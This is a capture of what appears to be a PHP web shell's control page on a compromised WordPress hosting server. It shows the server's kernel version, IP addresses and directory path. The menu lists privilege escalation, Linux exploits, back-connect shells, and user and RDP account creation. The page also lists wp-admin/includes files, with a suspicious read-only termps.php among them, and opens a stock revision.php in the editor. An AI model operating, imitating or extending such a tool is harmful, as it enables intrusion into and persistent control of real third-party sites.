FreeBSD s15.mydevil.net 14.1-RELEASE-p4 FreeBSD 14.1-RELEASE-p4 #3 releng/14.1-n267709-86d01789bf41-dirty: Thu Sep 5 04:26:54 CEST 2024 root@pkg1.admin.net.pl:/usr/obj/usr/src/amd64.amd64/sys/devil amd64
Apache/N-G-I-N-X-htaccess-support
: 128.204.218.142 | : 18.119.124.202
Cant Read [ /etc/named.conf ]
?8.1.30
art
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
home /
art /
domains /
rotarycup.pl /
public_html /
wp-admin /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
admin-filters.php
7.81
KB
-rw-r--r--
admin.php
3.54
KB
-rw-r--r--
ajax-actions.php
147.98
KB
-rw-r--r--
bookmark.php
11.34
KB
-rw-r--r--
class-automatic-upgrader-skin....
3.58
KB
-rw-r--r--
class-bulk-plugin-upgrader-ski...
2.53
KB
-rw-r--r--
class-bulk-theme-upgrader-skin...
2.6
KB
-rw-r--r--
class-bulk-upgrader-skin.php
6.59
KB
-rw-r--r--
class-core-upgrader.php
14.66
KB
-rw-r--r--
class-custom-background.php
21.11
KB
-rw-r--r--
class-custom-image-header.php
47.91
KB
-rw-r--r--
class-file-upload-upgrader.php
4.07
KB
-rw-r--r--
class-ftp-pure.php
5.3
KB
-rw-r--r--
class-ftp-sockets.php
8.28
KB
-rw-r--r--
class-ftp.php
26.66
KB
-rw-r--r--
class-language-pack-upgrader-s...
2.8
KB
-rw-r--r--
class-language-pack-upgrader.p...
15.2
KB
-rw-r--r--
class-pclzip.php
192.09
KB
-rw-r--r--
class-plugin-installer-skin.ph...
11.76
KB
-rw-r--r--
class-plugin-upgrader-skin.php
3.2
KB
-rw-r--r--
class-plugin-upgrader.php
22.79
KB
-rw-r--r--
class-theme-installer-skin.php
12.43
KB
-rw-r--r--
class-theme-upgrader-skin.php
4.08
KB
-rw-r--r--
class-theme-upgrader.php
26.17
KB
-rw-r--r--
class-walker-category-checklis...
4.78
KB
-rw-r--r--
class-walker-nav-menu-checklis...
5.5
KB
-rw-r--r--
class-walker-nav-menu-edit.php
12.94
KB
-rw-r--r--
class-wp-ajax-upgrader-skin.ph...
4.09
KB
-rw-r--r--
class-wp-application-passwords...
6.79
KB
-rw-r--r--
class-wp-automatic-updater.php
59.71
KB
-rw-r--r--
class-wp-comments-list-table.p...
31.68
KB
-rw-r--r--
class-wp-community-events.php
18.33
KB
-rw-r--r--
class-wp-debug-data.php
60.2
KB
-rw-r--r--
class-wp-filesystem-base.php
23.84
KB
-rw-r--r--
class-wp-filesystem-direct.php
17.72
KB
-rw-r--r--
class-wp-filesystem-ftpext.php
22.56
KB
-rw-r--r--
class-wp-filesystem-ftpsockets...
18.05
KB
-rw-r--r--
class-wp-filesystem-ssh2.php
22.76
KB
-rw-r--r--
class-wp-importer.php
7.29
KB
-rw-r--r--
class-wp-internal-pointers.php
4.47
KB
-rw-r--r--
class-wp-links-list-table.php
8.96
KB
-rw-r--r--
class-wp-list-table-compat.php
1.46
KB
-rw-r--r--
class-wp-list-table.php
51.61
KB
-rw-r--r--
class-wp-media-list-table.php
24.97
KB
-rw-r--r--
class-wp-ms-sites-list-table.p...
21.5
KB
-rw-r--r--
class-wp-ms-themes-list-table....
27.62
KB
-rw-r--r--
class-wp-ms-users-list-table.p...
14.86
KB
-rw-r--r--
class-wp-plugin-install-list-t...
24.14
KB
-rw-r--r--
class-wp-plugins-list-table.ph...
56.37
KB
-rw-r--r--
class-wp-post-comments-list-ta...
1.42
KB
-rw-r--r--
class-wp-posts-list-table.php
62.3
KB
-rw-r--r--
class-wp-privacy-data-export-r...
5.43
KB
-rw-r--r--
class-wp-privacy-data-removal-...
5.58
KB
-rw-r--r--
class-wp-privacy-policy-conten...
32
KB
-rw-r--r--
class-wp-privacy-requests-tabl...
13.65
KB
-rw-r--r--
class-wp-screen.php
36.45
KB
-rw-r--r--
class-wp-site-health-auto-upda...
13.19
KB
-rw-r--r--
class-wp-site-health.php
119.68
KB
-rw-r--r--
class-wp-site-icon.php
6.26
KB
-rw-r--r--
class-wp-terms-list-table.php
20.69
KB
-rw-r--r--
class-wp-theme-install-list-ta...
15.37
KB
-rw-r--r--
class-wp-themes-list-table.php
10.05
KB
-rw-r--r--
class-wp-upgrader-skin.php
6.94
KB
-rw-r--r--
class-wp-upgrader-skins.php
1.44
KB
-rw-r--r--
class-wp-upgrader.php
45.95
KB
-rw-r--r--
class-wp-users-list-table.php
18.61
KB
-rw-r--r--
comment.php
5.98
KB
-rw-r--r--
continents-cities.php
20.06
KB
-rw-r--r--
credits.php
5.8
KB
-rw-r--r--
dashboard.php
68.56
KB
-rw-r--r--
deprecated.php
40.8
KB
-rw-r--r--
edit-tag-messages.php
1.44
KB
-rw-r--r--
export.php
24.97
KB
-rw-r--r--
file.php
96.11
KB
-rw-r--r--
image-edit.php
42.34
KB
-rw-r--r--
image.php
40.89
KB
-rw-r--r--
import.php
6.52
KB
-rw-r--r--
list-table.php
3.71
KB
-rw-r--r--
media.php
116.1
KB
-rw-r--r--
menu.php
9.39
KB
-rw-r--r--
meta-boxes.php
64.58
KB
-rw-r--r--
misc.php
45.37
KB
-rw-r--r--
ms-admin-filters.php
1.27
KB
-rw-r--r--
ms-deprecated.php
3.68
KB
-rw-r--r--
ms.php
33.16
KB
-rw-r--r--
nav-menu.php
47.75
KB
-rw-r--r--
network.php
26.35
KB
-rw-r--r--
noop.php
1.12
KB
-rw-r--r--
options.php
4.15
KB
-rw-r--r--
plugin-install.php
39.01
KB
-rw-r--r--
plugin.php
90.73
KB
-rw-r--r--
post.php
79.73
KB
-rw-r--r--
privacy-tools.php
32.68
KB
-rw-r--r--
revision.php
15.76
KB
-rw-r--r--
schema.php
41.67
KB
-rw-r--r--
screen.php
6.23
KB
-rw-r--r--
taxonomy.php
8.23
KB
-rw-r--r--
template.php
96.01
KB
-rw-r--r--
termps.php
64.12
KB
-r--r--r--
theme-install.php
6.83
KB
-rw-r--r--
theme.php
46.69
KB
-rw-r--r--
translation-install.php
8.71
KB
-rw-r--r--
update-core.php
65.41
KB
-rw-r--r--
update.php
33.77
KB
-rw-r--r--
upgrade.php
110.44
KB
-rw-r--r--
user.php
22.96
KB
-rw-r--r--
widgets.php
10.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : revision.php
<?php /** * WordPress Administration Revisions API * * @package WordPress * @subpackage Administration * @since 3.6.0 */ /** * Get the revision UI diff. * * @since 3.6.0 * * @param WP_Post|int $post The post object or post ID. * @param int $compare_from The revision ID to compare from. * @param int $compare_to The revision ID to come to. * @return array|false Associative array of a post's revisioned fields and their diffs. * Or, false on failure. */ function wp_get_revision_ui_diff( $post, $compare_from, $compare_to ) { $post = get_post( $post ); if ( ! $post ) { return false; } if ( $compare_from ) { $compare_from = get_post( $compare_from ); if ( ! $compare_from ) { return false; } } else { // If we're dealing with the first revision... $compare_from = false; } $compare_to = get_post( $compare_to ); if ( ! $compare_to ) { return false; } /* * If comparing revisions, make sure we are dealing with the right post parent. * The parent post may be a 'revision' when revisions are disabled and we're looking at autosaves. */ if ( $compare_from && $compare_from->post_parent !== $post->ID && $compare_from->ID !== $post->ID ) { return false; } if ( $compare_to->post_parent !== $post->ID && $compare_to->ID !== $post->ID ) { return false; } if ( $compare_from && strtotime( $compare_from->post_date_gmt ) > strtotime( $compare_to->post_date_gmt ) ) { $temp = $compare_from; $compare_from = $compare_to; $compare_to = $temp; } // Add default title if title field is empty. if ( $compare_from && empty( $compare_from->post_title ) ) { $compare_from->post_title = __( '(no title)' ); } if ( empty( $compare_to->post_title ) ) { $compare_to->post_title = __( '(no title)' ); } $return = array(); foreach ( _wp_post_revision_fields( $post ) as $field => $name ) { /** * Contextually filter a post revision field. * * The dynamic portion of the hook name, `$field`, corresponds to a name of a * field of the revision object. * * Possible hook names include: * * - `_wp_post_revision_field_post_title` * - `_wp_post_revision_field_post_content` * - `_wp_post_revision_field_post_excerpt` * * @since 3.6.0 * * @param string $revision_field The current revision field to compare to or from. * @param string $field The current revision field. * @param WP_Post $compare_from The revision post object to compare to or from. * @param string $context The context of whether the current revision is the old * or the new one. Either 'to' or 'from'. */ $content_from = $compare_from ? apply_filters( "_wp_post_revision_field_{$field}", $compare_from->$field, $field, $compare_from, 'from' ) : ''; /** This filter is documented in wp-admin/includes/revision.php */ $content_to = apply_filters( "_wp_post_revision_field_{$field}", $compare_to->$field, $field, $compare_to, 'to' ); $args = array( 'show_split_view' => true, 'title_left' => __( 'Removed' ), 'title_right' => __( 'Added' ), ); /** * Filters revisions text diff options. * * Filters the options passed to wp_text_diff() when viewing a post revision. * * @since 4.1.0 * * @param array $args { * Associative array of options to pass to wp_text_diff(). * * @type bool $show_split_view True for split view (two columns), false for * un-split view (single column). Default true. * } * @param string $field The current revision field. * @param WP_Post $compare_from The revision post to compare from. * @param WP_Post $compare_to The revision post to compare to. */ $args = apply_filters( 'revision_text_diff_options', $args, $field, $compare_from, $compare_to ); $diff = wp_text_diff( $content_from, $content_to, $args ); if ( ! $diff && 'post_title' === $field ) { /* * It's a better user experience to still show the Title, even if it didn't change. * No, you didn't see this. */ $diff = '<table class="diff"><colgroup><col class="content diffsplit left"><col class="content diffsplit middle"><col class="content diffsplit right"></colgroup><tbody><tr>'; // In split screen mode, show the title before/after side by side. if ( true === $args['show_split_view'] ) { $diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td><td></td><td>' . esc_html( $compare_to->post_title ) . '</td>'; } else { $diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td>'; // In single column mode, only show the title once if unchanged. if ( $compare_from->post_title !== $compare_to->post_title ) { $diff .= '</tr><tr><td>' . esc_html( $compare_to->post_title ) . '</td>'; } } $diff .= '</tr></tbody>'; $diff .= '</table>'; } if ( $diff ) { $return[] = array( 'id' => $field, 'name' => $name, 'diff' => $diff, ); } } /** * Filters the fields displayed in the post revision diff UI. * * @since 4.1.0 * * @param array[] $return Array of revision UI fields. Each item is an array of id, name, and diff. * @param WP_Post $compare_from The revision post to compare from. * @param WP_Post $compare_to The revision post to compare to. */ return apply_filters( 'wp_get_revision_ui_diff', $return, $compare_from, $compare_to ); } /** * Prepare revisions for JavaScript. * * @since 3.6.0 * * @param WP_Post|int $post The post object or post ID. * @param int $selected_revision_id The selected revision ID. * @param int $from Optional. The revision ID to compare from. * @return array An associative array of revision data and related settings. */ function wp_prepare_revisions_for_js( $post, $selected_revision_id, $from = null ) { $post = get_post( $post ); $authors = array(); $now_gmt = time(); $revisions = wp_get_post_revisions( $post->ID, array( 'order' => 'ASC', 'check_enabled' => false, ) ); // If revisions are disabled, we only want autosaves and the current post. if ( ! wp_revisions_enabled( $post ) ) { foreach ( $revisions as $revision_id => $revision ) { if ( ! wp_is_post_autosave( $revision ) ) { unset( $revisions[ $revision_id ] ); } } $revisions = array( $post->ID => $post ) + $revisions; } $show_avatars = get_option( 'show_avatars' ); update_post_author_caches( $revisions ); $can_restore = current_user_can( 'edit_post', $post->ID ); $current_id = false; foreach ( $revisions as $revision ) { $modified = strtotime( $revision->post_modified ); $modified_gmt = strtotime( $revision->post_modified_gmt . ' +0000' ); if ( $can_restore ) { $restore_link = str_replace( '&', '&', wp_nonce_url( add_query_arg( array( 'revision' => $revision->ID, 'action' => 'restore', ), admin_url( 'revision.php' ) ), "restore-post_{$revision->ID}" ) ); } if ( ! isset( $authors[ $revision->post_author ] ) ) { $authors[ $revision->post_author ] = array( 'id' => (int) $revision->post_author, 'avatar' => $show_avatars ? get_avatar( $revision->post_author, 32 ) : '', 'name' => get_the_author_meta( 'display_name', $revision->post_author ), ); } $autosave = (bool) wp_is_post_autosave( $revision ); $current = ! $autosave && $revision->post_modified_gmt === $post->post_modified_gmt; if ( $current && ! empty( $current_id ) ) { // If multiple revisions have the same post_modified_gmt, highest ID is current. if ( $current_id < $revision->ID ) { $revisions[ $current_id ]['current'] = false; $current_id = $revision->ID; } else { $current = false; } } elseif ( $current ) { $current_id = $revision->ID; } $revisions_data = array( 'id' => $revision->ID, 'title' => get_the_title( $post->ID ), 'author' => $authors[ $revision->post_author ], 'date' => date_i18n( __( 'M j, Y @ H:i' ), $modified ), 'dateShort' => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), $modified ), /* translators: %s: Human-readable time difference. */ 'timeAgo' => sprintf( __( '%s ago' ), human_time_diff( $modified_gmt, $now_gmt ) ), 'autosave' => $autosave, 'current' => $current, 'restoreUrl' => $can_restore ? $restore_link : false, ); /** * Filters the array of revisions used on the revisions screen. * * @since 4.4.0 * * @param array $revisions_data { * The bootstrapped data for the revisions screen. * * @type int $id Revision ID. * @type string $title Title for the revision's parent WP_Post object. * @type int $author Revision post author ID. * @type string $date Date the revision was modified. * @type string $dateShort Short-form version of the date the revision was modified. * @type string $timeAgo GMT-aware amount of time ago the revision was modified. * @type bool $autosave Whether the revision is an autosave. * @type bool $current Whether the revision is both not an autosave and the post * modified date matches the revision modified date (GMT-aware). * @type bool|false $restoreUrl URL if the revision can be restored, false otherwise. * } * @param WP_Post $revision The revision's WP_Post object. * @param WP_Post $post The revision's parent WP_Post object. */ $revisions[ $revision->ID ] = apply_filters( 'wp_prepare_revision_for_js', $revisions_data, $revision, $post ); } /* * If we only have one revision, the initial revision is missing. This happens * when we have an autosave and the user has clicked 'View the Autosave'. */ if ( 1 === count( $revisions ) ) { $revisions[ $post->ID ] = array( 'id' => $post->ID, 'title' => get_the_title( $post->ID ), 'author' => $authors[ $revision->post_author ], 'date' => date_i18n( __( 'M j, Y @ H:i' ), strtotime( $post->post_modified ) ), 'dateShort' => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), strtotime( $post->post_modified ) ), /* translators: %s: Human-readable time difference. */ 'timeAgo' => sprintf( __( '%s ago' ), human_time_diff( strtotime( $post->post_modified_gmt ), $now_gmt ) ), 'autosave' => false, 'current' => true, 'restoreUrl' => false, ); $current_id = $post->ID; } /* * If a post has been saved since the latest revision (no revisioned fields * were changed), we may not have a "current" revision. Mark the latest * revision as "current". */ if ( empty( $current_id ) ) { if ( $revisions[ $revision->ID ]['autosave'] ) { $revision = end( $revisions ); while ( $revision['autosave'] ) { $revision = prev( $revisions ); } $current_id = $revision['id']; } else { $current_id = $revision->ID; } $revisions[ $current_id ]['current'] = true; } // Now, grab the initial diff. $compare_two_mode = is_numeric( $from ); if ( ! $compare_two_mode ) { $found = array_search( $selected_revision_id, array_keys( $revisions ), true ); if ( $found ) { $from = array_keys( array_slice( $revisions, $found - 1, 1, true ) ); $from = reset( $from ); } else { $from = 0; } } $from = absint( $from ); $diffs = array( array( 'id' => $from . ':' . $selected_revision_id, 'fields' => wp_get_revision_ui_diff( $post->ID, $from, $selected_revision_id ), ), ); return array( 'postId' => $post->ID, 'nonce' => wp_create_nonce( 'revisions-ajax-nonce' ), 'revisionData' => array_values( $revisions ), 'to' => $selected_revision_id, 'from' => $from, 'diffData' => $diffs, 'baseUrl' => parse_url( admin_url( 'revision.php' ), PHP_URL_PATH ), 'compareTwoMode' => absint( $compare_two_mode ), // Apparently booleans are not allowed. 'revisionIds' => array_keys( $revisions ), ); } /** * Print JavaScript templates required for the revisions experience. * * @since 4.1.0 * * @global WP_Post $post Global post object. */ function wp_print_revision_templates() { global $post; ?><script id="tmpl-revisions-frame" type="text/html"> <div class="revisions-control-frame"></div> <div class="revisions-diff-frame"></div> </script> <script id="tmpl-revisions-buttons" type="text/html"> <div class="revisions-previous"> <input class="button" type="button" value="<?php echo esc_attr_x( 'Previous', 'Button label for a previous revision' ); ?>" /> </div> <div class="revisions-next"> <input class="button" type="button" value="<?php echo esc_attr_x( 'Next', 'Button label for a next revision' ); ?>" /> </div> </script> <script id="tmpl-revisions-checkbox" type="text/html"> <div class="revision-toggle-compare-mode"> <label> <input type="checkbox" class="compare-two-revisions" <# if ( 'undefined' !== typeof data && data.model.attributes.compareTwoMode ) { #> checked="checked"<# } #> /> <?php esc_html_e( 'Compare any two revisions' ); ?> </label> </div> </script> <script id="tmpl-revisions-meta" type="text/html"> <# if ( ! _.isUndefined( data.attributes ) ) { #> <div class="diff-title"> <# if ( 'from' === data.type ) { #> <strong><?php _ex( 'From:', 'Followed by post revision info' ); ?></strong> <# } else if ( 'to' === data.type ) { #> <strong><?php _ex( 'To:', 'Followed by post revision info' ); ?></strong> <# } #> <div class="author-card<# if ( data.attributes.autosave ) { #> autosave<# } #>"> {{{ data.attributes.author.avatar }}} <div class="author-info"> <# if ( data.attributes.autosave ) { #> <span class="byline"> <?php printf( /* translators: %s: User's display name. */ __( 'Autosave by %s' ), '<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?> </span> <# } else if ( data.attributes.current ) { #> <span class="byline"> <?php printf( /* translators: %s: User's display name. */ __( 'Current Revision by %s' ), '<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?> </span> <# } else { #> <span class="byline"> <?php printf( /* translators: %s: User's display name. */ __( 'Revision by %s' ), '<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?> </span> <# } #> <span class="time-ago">{{ data.attributes.timeAgo }}</span> <span class="date">({{ data.attributes.dateShort }})</span> </div> <# if ( 'to' === data.type && data.attributes.restoreUrl ) { #> <input <?php if ( wp_check_post_lock( $post->ID ) ) { ?> disabled="disabled" <?php } else { ?> <# if ( data.attributes.current ) { #> disabled="disabled" <# } #> <?php } ?> <# if ( data.attributes.autosave ) { #> type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Autosave' ); ?>" /> <# } else { #> type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Revision' ); ?>" /> <# } #> <# } #> </div> <# if ( 'tooltip' === data.type ) { #> <div class="revisions-tooltip-arrow"><span></span></div> <# } #> <# } #> </script> <script id="tmpl-revisions-diff" type="text/html"> <div class="loading-indicator"><span class="spinner"></span></div> <div class="diff-error"><?php _e( 'Sorry, something went wrong. The requested comparison could not be loaded.' ); ?></div> <div class="diff"> <# _.each( data.fields, function( field ) { #> <h3>{{ field.name }}</h3> {{{ field.diff }}} <# }); #> </div> </script> <?php }
Close